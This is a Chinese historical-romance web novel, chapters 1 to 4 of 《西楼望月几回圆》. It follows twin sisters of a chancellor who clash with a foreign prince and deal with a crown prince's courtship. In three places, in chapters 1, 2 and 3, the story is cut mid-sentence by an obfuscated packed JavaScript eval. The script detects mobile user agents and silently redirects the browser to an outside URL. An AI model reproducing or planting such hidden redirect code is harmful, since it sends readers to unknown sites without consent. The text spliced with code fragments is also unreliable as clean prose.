《西楼望月几回圆》 1. 第 1 章 洛阳城的夜晚,灯火通明,来来往往的人群不输白日。林默言大概估算了一下,出来还不到一个时辰,时间还很充裕。 行走在熙熙攘攘的道路上,心中打着小算盘。林默言抬头笑了笑,精致的面容在面纱的遮挡下若隐若现。虽是刻意遮住了面容,但气质体态出众的她走在人群中还是分外惹眼。轻盈的粉色罗裙微微荡漾,衣袖间萦绕着细腻的银线绣出的牡丹图案,栩栩如生,典雅而不失高贵。腰间饰以嵌满宝石的玉带,勾勒出曼妙的身姿。从穿着打扮上不难看出,这是一位富裕人家的小姐。 前几日同语儿一起出来,走到这条街时她突然提出想去吃琉璃斋的桃花酥。可惜时辰已晚琉璃斋的糕点皆已售出,便不了了之。回去后语儿也没有再提起这件事,但林默言却将妹妹的话记在了心上。今日行到此处,便想着为她带上一些。 “哎,我可真是个好姐姐。”林默言把手伸进口袋中摸了摸,脸上的笑容瞬间凝固。“我的钱袋呢?我明明记得有带出来的。” “会不会是掉在哪里了?”林默言小声嘀咕着走向来时路,寻找一番也不见踪迹。正想着要不要拿首饰去当掉,迎面走来一位丰神俊朗的男子,身着青衣,手臂上缠着银白色的护腕。昂首阔步向前,脸上没有表情时杀气很重,给人一种盛气凌人的感觉。 两人在擦肩而过时那男子腰间的玉牌吸引了林默言的注意,虽相隔几步之外,但林默言敢肯定那玉牌上雕的一定是双龙戏珠的图案。 “这下就省事多了。”林默言兀自一笑,一双桃花眼在微眯时尤为好看。她转身轻盈地越过两步追上那男子,一把抢过男子的钱袋,闪身到他面前。 江晏微微错愕,方才感觉腰间一松,正待回头,却见那始作俑者已闪身到他面前。一抬眼,对上了一双目若秋水的眼眸。在看清眼前之人的样貌后,江晏更是震惊不已。为何一个看起来娇滴滴的美人,自己却丝毫没有察觉到她的到来,甚至还被她顺走了钱袋。江晏甚为不解,上下打量着眼前的女子。 林默言在看清他的脸后愣了须臾,这个人她似乎没有见过。她低头再次确认了一遍男子腰间的玉牌,绝对是秦初的没错,便抬头迎上他的目光,将手里的钱袋随意的掂了掂,以命令的口吻对眼前的男子说道:“这个我先拿走了,你回去找你家主子报销双倍。” 江晏从未见过如此无礼的人,当街强抢,还说着莫名其妙的话。 林默言说完便准备走人,一只强有力的手却握住了她的肩膀,力道之大,捏的林默言吃痛,浑身使不上劲。 “还给我。”江晏开口,冷冽中带着几分不耐烦。 林默言气不打一处来,瞬间暴躁。秦初身边一个小小的侍卫竟然敢如此对她,回去一定要让秦初好好管教一下。林默言奋力挣脱他的手,反手一拳回礼,却被对方轻轻松松躲开,打了个空。 “我就不还,睁大你的狗眼看清楚本小姐是谁。”林默言愈发不耐烦。 江晏冷笑道:“巧了,我还真不知道你是谁。”说着便反手回击。 林默言轻巧地躲闪着后退,对方的攻势她竟然有一点招架不住,心中不禁纳闷秦初身边什么时候多了一个如此厉害的侍卫,便也起了和他碰一碰的心思。 周围的行人见两人好端端的突然大打出手,纷纷躲闪避让。林默言见街边还有许多摊位,为避免伤及无辜,边接对方的招式边把战场往偏僻人少的地方拉。江晏见她也有这种想法,暂时收手。他一收手,两人同时干脆利落的拐进人少的街巷,动作之迅速,竟有几分默契。 江晏并不差那些钱,此时的他更多的是想和对方比试比试。能悄无声息的接近他并不被他察觉,那就说明对方的身手不差。林默言却并不给江晏愣神的机会,转移阵地后立马飞起一脚踹向对方,不料江晏反应非常迅速,林默言直接被对方抓住了脚腕,轻松化解了她的攻势,反倒让她成为了被动的一方。 江晏捏着她的脚腕,饶有趣味道:“有点能耐,但不多。” 这句话激怒了林默言,电光火石之间她已迅速思考好对策,飞起另一只脚踢向对方肩膀,以一个极高难度的动作短暂的在空中保持住了平衡。江晏没想到她都这样了还能打,一时不慎被踢中肩膀,被迫松开了捏着她脚腕的手。看着她此时的动作,江晏担心她摔个脑袋着地四仰八叉,正想着伸手去接,却见她稳稳落地,气度从容,面纱都没有掉下来,甚至没有带起一丝尘土。动作之快,江晏甚至都没看清楚她是如何变换姿势稳稳着地的。 “还挺灵活。”江晏的目光中不禁多了几分欣赏。 林默言看出了他的震惊,得意一笑道“还想跟我斗。” 这无疑挑起了江晏想要和她一决胜负的兴趣,两人再次扭打在一起,打的有来有往,不相上下。 “糟了,我怎么把正事给忘了。”林默言打着打着突然想起自己此行的主要目的是给语儿买糕点,眼看着天色渐晚,琉璃斋的糕点又快卖完。天大地大语儿最大,绝对不能因为一个小小的侍卫而误了大事,回去后找秦初收拾他也不迟。 江晏看出了她的分心,淡淡警告道“跟我打,最好不要分心。” 林默言此时已无心恋战,只想尽快脱身,于是连连避让。江晏却持续猛攻,穷追不舍。为了尽快结束,林默言只得使点狠招,正面进攻不行那就巧取,只要把对方打服就行。林默言盯着江晏出手的空当,一拳打向对方腹部,江晏故技重施准备捏住她的手腕。林默言几乎在被他抓住的瞬间向侧旁迈出一步,半个身子绕到他的后边用另一只手探向他的脖颈,准备点他的麻穴。江晏瞬间意识到了不对劲,使出很大的力气在她碰到脖颈的瞬间将她整个人翻转了过来,为防止她再耍花招用手臂将她牢牢钳制在怀里动弹不得。 也是在这时,林默言脸上那摇摇欲坠的面纱终于掉了下来。先前在面纱的遮挡下江晏只能看清她姣好的轮廓,现在才真正看清她的面容。精致秀丽,明眸皓齿,下巴偏右侧有一个较为显眼的美人痣,并不碍眼,反倒将这份精致的面容点缀的恰到好处。江晏的脑海里浮现了四个字“是个美人”。或者说,是个绝色大美人。但此刻这位美人的表情可以称得上恼羞成怒,眉头紧蹙在一起,仿佛下一秒就要暴走。 “你好大的胆子,你家主子都不敢这样对我!”林默言又羞又恼,恼的是自己没有想到对方的力气那么大,害的她吃了大亏颜面尽失。羞的是她现在被这人牢牢禁锢在怀里,这个家伙的手臂还放在她的那个部位上,搞的她很疼还有些呼吸不畅。 “你给我放手!”林默言开始奋力挣扎。 方才看着她的脸愣了神,江晏此刻才意识到自己的手臂按在了哪里,瞬间呆住。刚才他的招式完全是出于下意识的举动,没有过多思考。此刻看到这般境况才意识到自己的举动有多失礼,瞬间手忙脚乱,慌忙松开手。 林默言非常生气,在脱困后一拳直击对方门面,毫无意外又砸了个空。江晏原本想让她打几下消气,但她正在气头上,这个力道不死也残。江晏只得再次躲闪。 “淫贼!登徒子!”林默言气不打一处来,但她越气章法越乱,根本打不到对方,打了半天都是在拿空气撒气。现在连连躲闪的人变成了江晏。 林默言渐渐冷静了下来,知道在这个人身上讨不到好处,选择了收手,憋着一肚子火转身离开,盘算着要找秦初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14485233|154528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把他大卸八块。 江晏看着她匆匆离开的背影,愣神片刻,没有选择跟上去,而是随手捡起她遗落在地上的面纱,心中直道罪过。今日之事,甚至都说不清谁对谁错。非要说的话两人的过错都不少,她抢了自己的钱,而自己揩了她的油水。 回想着方才的情景,以她的穿着打扮来看,明显是富贵人家,不像是会当街抢钱的人。听她一口一个你家主子,会不会是认错人了?而且这张脸,他见过的。江晏不由自主的笑了笑,收起面纱。去年来洛阳城时较为匆忙并未过多停留,如今时间较为充裕,江晏打算在洛阳多停留些时日。 林默言走在路上越想越气,在心中盘算了几千种他的死法。不知不觉间就走到了琉璃斋门口,再气也没有忘了妹妹,径直走了进去。看着从那登徒子手里拿过来的钱袋,林默言更生气了,没有用这钱而是拔下来一根簪子。 岂料自己还是来晚了,语儿想要的桃花酥已经售完。秉持着来都来了的原则,她还是买了些其它的糕点。 在回林府的途中,林默言更加郁闷不堪。自己是糕点也没买到,打人也没打过,今日真是事事不顺心。 进入林府大门后,林默言直奔语儿闺房。 听见推门声响,林默语抬头看见了风尘仆仆回来的姐姐。她一眼就看出了姐姐的表情很不对劲,肯定是有谁惹了姐姐生气。 林默语迎了上去,关切的询问道:“姐姐,你去哪里了?怎么现在才回来?” 她们姐妹二人站在一起时常常会给人一种是不是看花眼了的错觉,因为实在太像了。不仅身高别无二致,就连那张脸都一模一样。唯一的一点区别就是,林默言比林默语的下巴上多了一点美人痣。 林默言关上门,牵着妹妹走进屋内,没有回答她的问题,而是先将手里的糕点递给了她。看到语儿后,林默言的心情终于好了一点,扬起笑脸说道:“看看姐姐给你带了什么?” 林默语伸手接过姐姐递来的东西,定睛一看,是琉璃斋的糕点。想起自己前段时间随口说过的话,心中很是感动。自己只是随口一说,但姐姐却一直记得。 “可惜没有买到你喜欢的桃花酥。”想到这一茬,林默言还是很生气。要不是那个登徒子,说不定自己现在已经买到了。 “没关系啊,姐姐买的糕点就是最甜的。”林默语说着便拿起一块吃。 “这还差不多。”看着语儿,林默言也不由自主的笑了。 林默言为林默语擦去嘴角的残渣,顺带着轻轻捏了一把语儿的脸,然后说道:“语儿,我不是说了吗,下巴的痣不许擦掉,这样我们就一模一样了。” “好的姐姐,我知道了。”林默语一副你开心就好的表情。林默言拿起笔亲手为她点了一颗痣,位置和自己一模一样。如果说刚才两人还有些细微差别,那么现在就几乎分毫不差了。甚至很多时候两人在看着对方时都会有一种在看自己的感觉。 “哦,对了。姐姐,我看你刚才回来时的表情不太对,是发生什么了吗?”林默语问道。 林默言无奈地挠了挠头,虽然自己已经尽力地隐藏情绪,但还是瞒不过她家语儿的火眼金睛。自己有心事时总会被她一眼看出来。 “也没什么,就是在路上碰见了一个登徒子。不过已经解决了,语儿不用担心。”林默言回答道。 “真的吗?”林默语表示怀疑。 “真的啊,当然是真的。姐姐怎么会骗你。时辰不早了,语儿早点歇息吧。”林默言说着就揽着语儿的肩膀,将她按在床边坐下,转身回自己房间。 林默语看了看离去的姐姐,又看了看桌上的糕点,情不自禁的笑了笑。 2. 第 2 章 林默言回到了自己的房间,点燃烛火,一眼就看到了自己忘在桌子上的钱袋,瞬间感觉糟心不已,什么时候有了这丢三落四的毛病。她从口袋里拿出从登徒子那里抢过来的钱袋,心中的气愤久久不能平息。自己竟然被他占了那么大的便宜,更气的是自己还打不过他。要不是那人长得还算俊朗,林默言早就被气死了。 “好吧,算是挺俊朗的。”林默言心想,而且身手还不赖。随后她又开始埋怨自己怎么能对一个登徒子犯花痴,再怎么气度非凡他也是个登徒子,明天就去找秦初把他大卸八块。 林默言辗转反侧了大半夜,带着气愤进入梦乡。 第二天一大早,林默言就被语儿拉起来去用早膳。 “爹爹呢?”林默言艰难地睁开朦胧的睡眼。 “你起的这么晚,爹爹早就去上早朝了。”林默语边说边把姐姐从床上拉起来,给她拿来衣服。 “是吗?可我还是好困。”林默言打着哈欠。 今日的早膳又只有她们二人,林默言叹了口气道:“感觉爹爹最近好忙啊,都见不到人影。” “前段时间朝中新来了一位国师名叫容玦,传闻说此人是个狠角,虽是刚入朝堂但势头很猛,深受陛下器重,已经严重影响到爹爹的地位。而且近期西启忙着与黎国建交,所以他最近比较忙吧。”林默语向她解释道。 “哦,原来又是朝堂斗争啊。但爹爹是一人之下万人之上的丞相,还是两朝元老,怎么会被一个小小的国师影响到。”林默言已经见惯了父亲在朝堂之上的斗争,但与声名远扬的两朝丞相林瞻远作对的人通常都不会有什么好下场,所以她也没太在意。 两人草草用完了膳。正在此时,林府的下人为林默语呈上来一封密信。林默语打开看了看,表情没有太大波澜。 “语儿,怎么了?”林默言问道。 “没什么大事,但我现在需要出去一趟。”林默语说着随手将信放入口袋。 “需要我陪你吗?”林默言还在懒懒的打着哈欠。 “不用了。”林默语回答。 “那好吧。”林默言送走了语儿。正好她也要去找秦初处置那个登徒子,便也出了林府准备前往太子殿。到达太子殿后,秦初却不在殿中,林默言思索片刻,选择了回林府补一觉再来。 林默语回想着信中的内容,心中有几分不解。秦初为何突然约她去城东见面,还只让她一个人来,神神秘秘的。 江晏在人群中看见了一个熟悉的身影,那个身影还是分外惹眼。“那不是昨天的毛头小贼吗?”江晏确信自己没有看错,便迎上前去。 林默语在走神时突然被人抓住了胳膊,条件反射地挥出一拳向对方砸去,但竟被对方轻轻松松躲开了。“脾气还是这么火爆。”江晏轻笑道。 林默语抬眼注视对方,看到了一张完全不认识的脸。男子束着银冠,身着青衣,俊美的脸庞挂着一丝意味不明的笑。林默语疑惑地打量着他,有些不明所以。 “今日有没有兴趣一决胜负?”林默语今日并没有点美人痣,江晏也看出了不对劲,但这张脸他一定没有记错,便认定了她是昨日那人,没有多想。 此时街上行人很少,江晏果断出手,林默语被迫接招。但林默语可不是会乖乖挨打吃亏的类型,找准空当直接赏了他一脚,但这一脚又踢了个空。到这里,林默语深感不妙。 她利落地化解着对方的招式,冷冷开口道:“无缘无故,为何出手打我?” 这下江晏更加确定了,就是这个声音。他挑眉一笑道:“你可真是贵人多忘事。”说着便不由分说继续动手,林默语只得回击。扭打间,两人再次退到了昨日的空巷,这幅场景与昨日产生了重叠。 林默语越打越觉得不对劲,此人似乎对她的招式十分熟悉。 “你到底是何人?”林默语质问道。 “装得还挺像。”江晏依旧保持着笑容,他感觉到这小贼今日出手的力道更狠,招式更快了些,说道:“不错,有进步。” 林默语听他说着莫名其妙的话,已经没有耐心再和他耗下去。与其和他废话不如直接出手把他打到昏死,于是林默语就快准狠地使出了那一招。江晏已经领悟过这一招早有防备,像昨天那般化解了这一招式,心想这人怎么不长记性,明明昨天已经吃了亏,今天还敢用这招。这次他及时收手没有造成昨天那样尴尬的境况。但即便他及时收手,却还是不小心碰到了一下。这一碰,让江晏感觉到了不对劲,意识到可能是真的认错人了。而且眼前这人从骨子里透露出来的清冷与昨天那人的气质完全不同。江晏赶紧后退几步。 林默语此时已愤怒到了极点,在打斗中被一个来历不明的人碰到那个部位,这还是平生第一次。 “你无耻!”林默语怒火中烧,追上前去。 “对不起,我的错!认错人了。”江晏慌忙道歉,落荒而逃,一刻也不敢停留。林默语看出此人的身手远在她之上,跑的如此之快根本追不上,只得怀着怒火罢休。 江晏跑了很远才停下来,心中甚是疑惑,这世上当真会有如此相像的两个人吗?但他这两天遇见的很明显不是同一个人。突然,他联想到了来西启之前听说过的一些传闻。传闻说西启国的丞相林瞻远有两个女儿,是一对双生姐妹。这两个女儿容貌倾国倾城,惊才绝艳,遗世而独立,并称西启第一美人。令人称奇的是,姐妹两人几乎长得一模一样。但两姐妹虽相貌相同,性格却各有千秋。其中姐姐性子开朗,如山间清爽的风,妹妹清冷孤傲,如皑皑雪山之冰。 结合这两天的经历,那两人皆是气度不凡,江晏十分怀疑自己遇到了传闻中的林家二姐妹。那么据推测昨天遇到的应该是姐姐,今天遇到的应当是妹妹了。江晏不自觉的笑了笑,觉得十分有趣,之后可以去找秦初了解了解。 林默语冷静片刻,继续前往城东去赴约。回想着刚才发生的一系列莫名其妙的事情,林默语的脸色愈发冷的可怕。但其实这才算是林默语的常态,除了在林默言和林瞻远身边时,林默语给人的感觉都是冷冰冰的,让人难以接近。 姐妹二人就是这样,明明是同一张脸,却是完全不同的气场。 不知不觉间就走到了城东,今日的洛阳城东格外的热闹繁华。林默语四处扫视了一下,今天不管是什么摊位旁都摆了红绳。城东最著名的姻缘树下,站满了成双成对的眷侣,都在往姻缘树上系红绳,很多男子抱起了自己的伴侣让她挂的更高一些。这番场景,可谓是羡煞旁人。 这颗姻缘树高耸入云,枝干粗大,三人合抱不住。这棵树有多少年了?林默语也不清楚,只是听说西启国还未存在时它便已经在这里了。如此来算,至少有近三百年。 看着眼前的情景,林默语想起了今天是什么日子。今日是七月初七乞巧节,按照西启的习俗,很多妇女会相约一起,通过穿针乞巧、投针验巧等方式祈求自己能够变得更加聪明灵巧。这一节日也因受牛郎织女鹊桥相会故事的影响而象征着忠贞不渝的爱情,很多爱侣会选择在今天跪拜月老,并在姻缘树上系红绳以求一生一世一双人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14485234|154528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。林默语淡淡地注视着眼前的一切,她不是傻子,大概猜出了秦初在今天单独叫她出来的企图。看来太子殿下还是打算捅破这层窗户纸。 “还是去见见吧。”林默语心想,不能薄了当朝太子的面子。 林默语收回思绪和目光,脸上是一贯的淡然表情。秦初说在城东最高最繁华的阁楼等她,那就只有那里了。那是几年前秦初命人在洛阳城东修建的一座阁楼,近期刚完工不久,在距离姻缘树的不远处。 林默语来到了阁楼前,抬头看了一眼牌匾,名叫“初雨阁”。牌匾上的字迹飘逸洒脱,笔走龙蛇,很明显是出于秦初之手。阁前布满了守卫,没有太子殿下的允许不得入内。林默语来到门前,守卫事先得了太子殿下口谕直接放行,林默语走了进去。 入内后,林默语四处扫视了一番。这里的陈设并非富丽堂皇的招摇,而是古朴典雅,檀木柱上雕刻着栩栩如生的牡丹图案,与林府的整体风格略有相似,颇有一番韵味。繁华之处在于它的阁顶之上,镶嵌着一颗很大的夜明珠。这座阁楼的最大特点在于它很高,甚至超出姻缘树些许。阁楼共有四层,四层之上还修着很长很长的台阶,直达阁顶。林默语走了许久,才走到台阶尽头,来到了最高处的阁台上。隔着一层薄薄的红帐子,一个闲闲散散的人坐在椅子上,一只手靠在桌上托着腮,另一只手拿着茶杯轻轻摇晃。虽是一番闲散之态,却依旧身姿挺拔,气宇轩昂。 林默言走上前恭恭敬敬地行了一个礼,唤了一句“太子殿下”。 听到她的声音响起,那闲闲散散的人立马放下茶杯拨开帐子走了出来。步态沉稳,给人一种胸有成竹的气势,不怒自威,和方才闲散地坐在椅子上时判若两人,令人不禁肃然起敬,望而生畏。他眸光锐利,剑眉英挺,俊朗帅气但又看不出一丝轻浮的感觉,与生俱来的威严反而让人不敢直视他。 这般威严的人,笑起来却是万分温柔。秦初等待时的不耐烦在见到来人时就已烟消云散,取而代之的是一抹温柔的微笑,眉目泛起柔柔的涟漪,宛若夜空里皎洁的上弦月。他看了看来人,礼节周到,表情淡漠,没有美人痣,肯定是语儿没错了。 秦初上前托起了对方行礼的手,说道:“语儿不必多礼。” 林默语下意识避开了他的手,问道:“殿下约我到此,所为何事?” 秦初脸上的笑容僵了僵,但很快又恢复。他没有说话,拉着林默语穿过红帐,走到了阁台上。从这个角度看下去,基本能把整个城东的景色收于眼底。阁楼之下,是形形色色的人间烟火气。林默语表面虽依旧冷淡,心底却不禁为此场景感到震撼。但她不能为此驻足太久。 “殿下,您今日单独约我到此处,若逗留太久,只怕会惹人闲话。”林默语依旧淡漠的说道。 “语儿,你当真不知晓我的心意吗?”秦初微微叹了口气,从口袋中拿出一根手腕上绑的红绳,拿到林默语面前。语儿向来不喜欢珠宝首饰,他费尽心思想了许多天,最终决定采用民间的传统方式。 话已说到这种地步,林默语没有办法再继续装傻。她没有伸手去接那个红绳,而是重新低头行礼。秦初伸手去扶,她却不愿起来。 林默语低着头,谦逊而不谦卑的说道:“默语德不配位,还请殿下另谋佳人。”说完便转身走了,没有回头,也没有去看秦初是什么表情。 秦初没有阻拦,看着她一步步远离,只是默默握紧了手中的红绳,苦涩一笑。其实他早就有所预料林默语会是这种反应。但他还是选择了把事情说明白。 3. 第 3 章 林默语直接回了林府,刚进门就看到了睡醒后准备再次前往太子殿的林默言。 “语儿!”林默言看见她后直接奔了过来,却见妹妹表情冷的可怕。林默语每次心情不好的时候,都会是这副表情。 “你这是怎么了?怎么出去了一趟回来就闷闷不乐的?”林默言关切地询问道。 “姐姐,我有点累了。之后再说吧。”林默语很少对姐姐这样冷淡,林默言也看出语儿的心情非常不好,没有继续追问。 “那语儿先好好休息,有什么事之后再给姐姐说。” “嗯。”林默语勉强扯出一个微笑,随后回了自己房间,坐在床上看着屋顶发呆。其实她也说不清自己为何会不开心,是因为那个登徒子吗?还是因为秦初?林默语在心中否定了前者。可对于秦初,她本不应该有什么太大感受的,但当这件事真正发生时,她还是有几分说不清的落寞。 林默言再次去了太子殿,这次秦初在殿内。可他看起来有些失魂落魄的。林默言有些无语,怎么一个个的都不开心。 看到那张脸,秦初一瞬间有点恍惚,随后才反应过来这是林默言。 “言儿,你怎么来了?”秦初挤出一丝笑容问道。 “怎么?我还来不得了?你们都是大忙人,就我一个人闲。”林默言略微带着抱怨的语气说道。她见到秦初时,从来不会像林默语那样恭敬行礼。秦初也并不计较这些,都如此熟了这样反倒自在些。 “我哪敢阻拦我们的林大小姐。”秦初笑着回应。 两人来到凉亭处落座,林默言随口抱怨了一句:“语儿今天不知道怎么了,很不开心,连我都不想理。哎,可真是苦了我这个当姐姐的。” 秦初听到后脸上的表情有些微妙,林默言也没有太注意,而是直入主题道:“对了,我这次来是想找你要一个人的。” “哦?你要什么人?”秦初问道。 “我想要你的一个侍卫,你可别小气不给。”林默言挑了挑眉。 “言儿为何突然找我要侍卫?既是你要,那我自然不会小气。没问题,随便挑,只要是你看上的都可以带走。” “这可是你说的,我要那个……”林默言向秦初描述了半天,秦初想了半天,硬是不知道自己手底下还有这般人物。 此时突然过来了一位男子,打断了他们二人的讲话。林默言转头一看,立马一拍桌子站了起来。 秦初也注意到了他,站起来说道:“你来了?我……”秦初的话没来得及说完,因为两人吵了起来。 “登徒子?!”林默言怒目瞪着对方,这家伙竟然自投罗网。 “你还毛头小贼呢!”江晏有些错愕,没想到竟然能在太子殿遇到她。 林默言不给他发呆的机会,直接冲上去就是开打。江晏看到美人痣,心想这次应该没有认错。于是两人便扭打在了一起。秦初在一旁看得很是莫名其妙,怎么好端端的一见面就打起来了。眼看着两人再打下去太子殿就要被他们两个弄的一片狼藉,秦初不得不出手阻止,他费了很大力气才把扭打在一起的两个人拉开。 见林默言还想冲上去打,秦初赶紧伸手拦住了她。“言儿,你先冷静一点。有话好好说。” 于是林默言便指着江晏对秦初说道:“我要他,把他给我。” “什么?你要我?”江晏笑了,笑的很放肆。 “这……我可做不了主。”秦初汗颜,林默言怎么会把江晏当成他的侍卫? “你说话不算话!”林默言叉腰瞪着秦初。 “不是,言儿你先冷静,听我慢慢跟你说。”秦初无奈道。 江晏饶有趣味的看着林默言,嘴角的笑还未散去。 “这位,是西启丞相林瞻远之女林默言。”秦初指着林默言对江晏说道。江晏笑了笑,这证实了他之前的猜想。 随即,秦初又指着江晏对林默言说道:“这位,是黎国八皇子江晏。这次来西启,是要与我们交谈一些两国建交上的事务。” “什么?他不是你的侍卫吗?”林默言的表情甚是精彩。 “哦?你从哪里看出来我是个侍卫的?”江晏一步步逼近林默言。 林默言一把夺过江晏腰间的玉牌,上面刻的正是双龙戏珠的图案。她将玉牌举到秦初面前说道:“这不是你的玉牌吗?我记得你那个叫萧严的侍卫经常拿着这块玉牌去办事,我当时看到这玉牌,就以为他也是你的侍卫……” “就算是侍卫,你就能当街强抢了?”江晏离林默言越来越近,眼中带着笑意。 在两人的三言两语之下,秦初大概理清楚了前因后果。原来是林默言把江晏当成了自己的侍卫,抢了他的钱。 “这块玉牌,确实是我的。我与江兄聊得甚是投缘,便把玉牌赠与他方便通行,还有……”秦初顿了顿,继续说道:“你说的那个替我办事的侍卫,他叫萧肃。” “这……”林默言尴尬地挠了挠头。 “哈哈哈……”江晏在一旁毫不留情的嘲笑她,且笑的很大声。林默言看着他笑得如此放肆,非常想再揍他一顿。 三人还在嬉笑打闹时,萧肃走了过来和秦初耳语几句,秦初立马严肃起来,对林默言和江晏说道:“朝中有些事务,我需要去处理一下。先失陪了。” 秦初走后,他们二人再呆在太子殿终归不太合适。于是两人一起出了太子殿。 走在路上,江晏还是轻笑着看向林默言,气的林默言想打人。 “你有什么想说的吗?”江晏挡在了林默言前面。 “我赔你还不行吗?两倍。不,直接十倍!”林默言咬着牙说道。 江晏被她给逗笑了,其实他本来就没想计较钱的事,于是说道:“不必了,我不差那十倍的钱,况且我也在无意间冒犯了你。我们这也算是,不打不相识了。” 听他这么说,林默言又想起了被他吃豆腐的事,暗自生闷气。但江晏却不给他生闷气的机会,向着她微微俯身说道:“你刚才说,你要我?” “我才没有说过!”江晏的声音近在耳边,搞的林默言有些不知所措。 看着比他矮了一个头的林默言气的快要跳脚,江晏忍不住想要使点坏,兀自一笑说道:“那我不管,我可是亲耳听到了。你说,我要不要跟这位林大小姐走呢?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14485235|154528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >林默言知道江晏又在逗她玩,于是也毫不客气回应道:“如果我说要呢?八皇子甘心成为阶下囚吗?到那时,可就任凭我处置了。” 不料江晏却丝毫没有退缩,反而笑意更浓,向林默言伸出一只手道:“如果是林大小姐的话,那我可是,甘之若饴。” 林默言被他的厚脸皮惊到了,耳尖不自觉发红,看着他伸出的手有些不知所措。江晏并没有收回手,而是顺势抬手为她抚下方才打斗时翘起来的一缕碎发。 林默言抬眼看他,突然觉得这人在正经时也没有那么碍眼。但下一秒,林默言又想狠狠揍他一顿。 江晏用一根手指轻轻点了一下她的额头,说了一句“小矮子”。林默言一点就炸,立马出手势要和他一决高下。江晏却立马开溜。 林默言吃过大亏,知道肯定追不上他,她愤怒地站在原地大喊:“你无耻!你才是小矮子!你除了会逃跑你还会干什么?” 江晏十分欠揍的回头说道:“我还会叫你小矮子。” “你!是男人就回来和我决一死战!” “下次吧。”江晏迅速没了人影。 林默言愤愤不平回了林府,心中盘算着下次见到他一定要把他揍扁。天色渐晚,不知道语儿怎么样了,林默言加快了脚步。 回到林府,语儿的状态相比之前好了很多,但看起来还是闷闷不乐。林默言开口询问她时,她却还是闭口不谈。 “你怎么什么都不告诉我?你眼里还有没有我这个姐姐?”林默言摆出一副很生气的样子。 林默语不甘示弱:“我就不能有点自己的私事吗?” “不能!你是姐姐还是我是姐姐?”林默言叉腰问道。 林默语闻言突然笑了,这句话让她回想起记忆深处的一些事。林默言看到她笑本来应该很开心,但不知怎的竟然有点更生气了。她伸手捏住语儿的一边脸说道:“笑什么笑,不许笑!” “我的好姐姐,我如实招来还不行吗。”林默语无奈,只好把她和秦初的事讲给林默言听。 林默言听着,微微叹了口气,问道:“语儿,秦初他也没什么不好的。我能看得出他对你是真心的。你真的一点都不喜欢他吗?”秦初对语儿的真心显而易见,但她一直拿不准语儿对秦初的想法。语儿应当是喜欢秦初的,只是这份喜欢有点别扭。林默言对两人这别扭的感情深感堪忧。 “……我不想谈喜不喜欢,因为我也说不清楚。但我不想答应他。母仪天下,不是我想要的。”林默语眼神复杂,她深知秦初的太子之位坐的很稳,能与他并肩之人定会成为母仪天下的皇后。但若身处后位就必定会陷于宫廷权力的斗争之中,不是她林默语配不起皇后的位子,而是她从来不想做一个整日深宫宅斗的俗人。她想要的生活秦初给不了。 林默言也看出了妹妹的顾忌,她也明白深宫不是什么好地方,便伸手揽住妹妹说道:“没关系,语儿不必不开心。语儿本就是应该翱翔于九天的凤,不必去做那笼中之鸟。只要你不想,就没有人能强迫得了你。林家永远会是你最坚实的后盾。” “嗯。”林默语很累很累,靠在姐姐怀中闭上了眼。 4. 第 4 章 处理完朝中事务后,秦初主动去找了江晏。原本西启为江晏准备了上好的迎宾间,为黎国使者献上最高礼节。但江晏执意要去体悟洛阳的民风民俗,赏洛阳美景,便住进了城东的一家客栈。 西启以洛阳为都,占据中原大地及长江中下游平原。黎国则以长安为都,属地从关中地带蔓延至祁连山脉。两国原本同属一脉,但几百年前的一场大乱推翻了天下共主的统治,两方势力各自带兵占领洛阳和长安,自立为王。后两方势力都想攻占对方,但却拼了个两败俱伤,再拼下去只恐鳖蚌相争渔翁得利。于是便互不侵犯,休养生息,久而久之形成了各不相同的文化习俗。在两国周边还有许多大大小小的国家与部落。南部南疆蛮族虎视眈眈,北部以鲜卑、匈奴、女真族为主要部落,纷争不断。 此次西启与黎国建交,于两国而言都是好事。既可以互通贸易相互发展,也可以共同抵御蛮夷之族入侵。 秦初与江晏秉烛而坐,浅酌几杯并商议事务。两人相谈甚欢,事务很快就能落实。江晏很喜欢与秦初这样的聪明人交谈,黎国结交了西启,他也结交了秦初。 两国事务协商完毕后,秦初思索片刻,还是开口问道:“关于北方胡人部落,江兄可有了解?” 江晏闻言点了点头,说道:“相信秦兄应该有所耳闻,黎国近些年与北方胡人多有冲突,也起过几次小规模的战争。胡人内部原本也是纷争不断,但鲜卑一族越战越勇,铁蹄踏过北狄大大小小部落,最终一统北方,鲜卑族首领拓跋氏成为了新一任大单于。他们的下一个目标,便是祁连山下的黎国及中原大地。” 秦初顿了顿,说道:“我要说的正是鲜卑一族。前几日他们的大单于传信要与西启建交,现在使节团应该已经在路上了。我只恐,来者不善。” 